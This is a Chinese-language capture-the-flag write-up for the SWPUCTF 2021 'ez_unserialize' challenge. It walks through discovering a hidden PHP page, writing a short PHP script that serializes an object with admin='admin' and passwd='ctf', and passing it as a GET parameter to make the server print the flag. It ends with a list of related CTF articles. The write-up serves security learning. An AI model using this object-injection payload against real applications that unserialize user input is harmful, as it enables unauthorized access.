[SWPUCTF 2021 新生赛] ez_unserialize

简介: [SWPUCTF 2021 新生赛] ez_unserialize

打开链接但是没有题目

使用御剑扫一下

flag.php打不开,但是在robots.txt里面我们找到了一个路径 /cl45s.php

打开之后是PHP源码

简单审一下,构造pop链:


链尾(就是最终我们想要利用的地方),在echo $flag 并且include了flag.php


往上看,发现只需要满足  ($this->admin === "admin" && $this->passwd === "ctf")


即admin="admin",passwd="ctf"


再往上看,发现执行这条语句我们需要触发__destruct()函数


__destruct是析构函数,会在对象的所有引用被删除或者当对象被显式销毁时自动执行,比如new完一个对象,当创建完成之后就不引用了,如果有赋值指向就会立马丢弃,触发destruct函数。


这里还有一个__construct()构造函数,它是在实例化一个对象(即new时)会自动调用。

上脚本:

<?php
class wllm{
    public $admin;
    public $passwd;
    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }
        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}
$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
$w=serialize($w);
echo $w;

关于脚本的解释:


我们将题目给的类放进去


后面先实例化这个类,此时会触发__construct()函数,并进行如下变量的赋值:


$admin ="user"


%passwd = "123456"


但是不影响,我们再给它们进行一次赋值,赋值成符合下面if语句判断的值


$w->admin="admin";

$w->passwd="ctf";


(这里的w就是实例化后的类wllm,->是调用的意思,调用wllm类里面的这两个变量进行赋值)


我们说过new结束后,会触发__destruct()函数,此时来到if语句的判断,我们通过上面的赋值操作,让if语句判断为真,就会输出flag。


我们再将最终的$w用serialize函数进行序列化,并将结果输出:

得到 O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

题目中提示要以get方式给p传参,并且会对传入参数进行反序列化操作

因此我们将序列化后的内容传给p即可

构造payload:

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

传入后直接回显flag

NSSCTF{7c700eec-a6b7-4c9e-87b0-c36876cfbd14}

目录
相关文章
|
3月前
[SWPUCTF 2022 新生赛]base64
[SWPUCTF 2022 新生赛]base64
58 0
|
3月前
[SWPUCTF 2023 秋季新生赛]字节码
[SWPUCTF 2023 秋季新生赛]字节码
46 0
BUUCTF[ACTF2020 新生赛]Exec1
BUUCTF[ACTF2020 新生赛]Exec1
|
3月前
|
Shell
[SWPUCTF 2021 新生赛]gift_pwn-入土为安的第十五天
[SWPUCTF 2021 新生赛]gift_pwn-入土为安的第十五天
130 0
|
3月前
|
Python
NSSCTF[HUBUCTF 2022 新生赛]ezPython
NSSCTF[HUBUCTF 2022 新生赛]ezPython
30 0
|
3月前
NSS [SWPUCTF 2021 新生赛]pop
NSS [SWPUCTF 2021 新生赛]pop
55 0
|
3月前
日更[ACTF新生赛2020]Oruga wp
日更[ACTF新生赛2020]Oruga wp
31 0
|
3月前
|
数据安全/隐私保护
NSS [SWPUCTF 2022 新生赛]奇妙的MD5
NSS [SWPUCTF 2022 新生赛]奇妙的MD5
38 0
|
3月前
NSS [SWPUCTF 2021 新生赛]no_wakeup
NSS [SWPUCTF 2021 新生赛]no_wakeup
22 0
|
3月前
|
JSON 数据格式
NSS [SWPUCTF 2021 新生赛]jicao
NSS [SWPUCTF 2021 新生赛]jicao
43 0